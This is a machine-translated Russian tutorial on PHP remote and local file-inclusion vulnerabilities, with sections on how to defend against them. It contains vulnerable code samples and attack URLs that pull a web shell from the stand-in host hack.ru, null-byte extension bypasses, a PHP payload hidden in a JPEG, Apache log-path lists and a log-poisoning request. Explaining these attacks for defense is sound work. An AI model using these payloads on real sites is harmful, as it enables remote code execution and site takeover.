special
  •  #StandWithUkraine Ukraine flag |
  • ~522810+980
     Enemy losses on 840th day of War in Ukraine

This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

PHP-include и способы защиты



  • Глобальный инклуд
  • Защита от глобальный инклудов
  • Локальный инклуд
  • Логи апатча
  • Защита от локальных инклудов


  • Введение

    Глобальный инклуд

    Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть "On"
    Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
    В PHP существуют четыре функции для включения файлов в сценарии PHP:

    * include();
    * include_once();
    * require();
    * require_once().


    Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
    <?php
        if($_GET['page'].'.php')
        {
             include($_GET['page'].'.php');
        }
        else
        {
             include($file.'.php');
        }
    ?>
    
    С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

    http://site.ru/index.php?page=http://hack.ru/shellВ ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
    была определенна раннее и злоумышленник может выполнить удаленно php код:
    http://site.ru/index.php?file=http://hack.ru/shellФункция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу, она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет - происходит стандартное включение файла.

    <?php
        
    include_once($file.'.gif'); ?>
    В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
    Избавиться от расширения '.gif' можно двумя способами:
    1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
    http://site.ru/index.php?file=http://hack.ru/shell.php%002) даже если magic_quotes_gpc = On
    http://site.ru/index.php?file=http://hack.ru/shell.php?Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в сценарий независимо от местонахождения require() в сценарии.
    <?php
        
    require($file);
    ?>
    Атака аналогична, но в этом случае расширение не приписывается:
    http://site.ru/index.php?page=http://hack.ru/shell.phpФункция require_once() загружает файл в сценарий всего один раз.
    <?php
        
    require_once($file.'.php');
    ?>
    Атака аналогична...

    Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
    значение параметра allow_url_fopen было равно On, что и есть по умолчанию.
    PHP код:
    <?php
        $f=fopen("$file.php","r");
        
        while (!feof($f))
        {
            $s=fgets($f,255);
            echo $s;
        }
        
        fclose($f);
    ?>
    
    Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:
    http://site.ru/index.php?file=http://hack.ru/shellВ итоге опять получаем веб-шелл.

    Следующий пример - использование функции readfile()
    <?php
        readfile
    ($file); 
    ?>
    Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
    В итоге опять получаем веб-шелл:
    http://site.ru/index.php?file=http://hack.ru/shellТеперь рассмотрим такой вариант:

    <?php  
        
    echo implode(""file($file));
    ?>
    С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Защита от глобальный инклудов

    Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

    <?php
        global $page;
        switch ($page) 
        {
            case '':
            include ("pages/main.php");
            break;
        
            case 'index':
            include ("pages/main.php");
            break;
            case 'page1':
            include ("pages/folder/page1.php");
            break;
            case 'page2':
            include ("pages/folder/page2.php");
            break;
        
            default:
            include ("pages/hack.php");
            break;
        }
    ?>
    
    Так же рекомендую отредактировать файл php.ini:

    allow_url_include = Off //запрещаем удаленно инклудить файлы
    allow_url_fopen = Off //запрещаем fopen открывать ссылки
    register_globals = Off //отключим инициализацию глобальных переменных
    safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным)

    Локальный инклуд

    Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:
    <?php
        
    include("include/$file"); 
    ?>
    Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
    Что же можно сделать?

    Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
    Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:
    			
    яШяа JFIF  ` ` яЫ C 		
    
    
     $.' ",#(7),01444'9=82<.342яЫ C			
    
    2!!222222222222222222222222222222222222222222222 22222яА  6 6" яД   	
    яД µ  } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚	
    %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„…†‡€‰ Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪбвгд ежзийкстуфхцчшщъяД   	
    яД µ  w !1AQaq"2ЃB‘Ў±Б	#3RрbrС
    
    $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„…†‡€‰ Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪвгде жзийктуфхцчшщъяЪ   ? чъ(ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ
    (ўЂ?яЩ
    <?php include("http://hack.ru/shell.php"); ?>
    
    Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка
    Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
    загружает код из одного файла в исполняемый файл. Вот пример:
    http://www.site.com/index.php?include=../forum/images/shell.jpgВ результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>

    Логи апатча

    Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
    естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:
    /logs/error.log
    /logs/access.log
    
    /logs/error_log
    /logs/access_log
    
    /var/log/error_log 
    /var/log/access_log
    /var/log/error.log 
    /var/log/access.log
    
    /var/www/logs/error_log
    /var/www/logs/error.log
    
    /var/www/logs/access_log
    /var/www/logs/access.log
    
    /var/log/apache/error_log
    /var/log/apache/error.log
    /var/log/apache/access_log
    /var/log/apache/access.log
    
    /var/log/httpd/error.log
    /var/log/httpd/access.log
    
    /var/log/httpd/error_log
    /var/log/httpd/access_log
    
    /apache/logs/error.log
    /apache/logs/access.log
    /apache/logs/error_log
    /apache/logs/access_log
    
    /usr/local/apache/logs/error_log
    /usr/local/apache/logs/error.log
    
    /usr/local/apache/logs/access_log
    /usr/local/apache/logs/access.log
    
    /home/www/logs/error_log
    /home/www/logs/error.log
    /home/www/logs/access_log
    /home/www/logs/access.log
    
    Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:
    GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Заголовок пакета записывается в логи апатча, расположенные по адресу:
    Z:\usr\local\apache\logs\access.logТоесть в этот файлик записывается вот такая строчка:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414Думаю суть понятна. Нам остается его проинклудить:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.logИ получить веб-шелл :)

    Защита от локальных инклудов

    Вот небольшой примерчик, как можно надежно защититься:
    <?php
    


        
    function stripslashes_for_array(&$array
        {
            
    reset($array);    
            while (list(
    $key$val) = each($array)) 
            {
                if (
    is_string($val)) $array[$key] = stripslashes($val);
                elseif (
    is_array($val)) $array[$key] = stripslashes_for_array($val); 
            }
        return 
    $array;
        }  

        if (!
    get_magic_quotes_gpc())
        {
                
    stripslashes_for_array($_POST);
                
    stripslashes_for_array($_GET);
        }

        if(isset(
    $_GET['file']))$file=$_GET['file']; 
        else 
        { 
            if(isset(
    $_POST['file']))$file=$_POST['file'];          else $file='';      }      $file=str_replace('/','',$file);      $file=str_replace('.','',$file);      if(!file_exists("include".'/'.$file.'.php')||$file=='index')      {         $file='news';     }          include("include".'/'.$file.'.php');      ?>

    И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.

    Дата створення/оновлення: 25.05.2018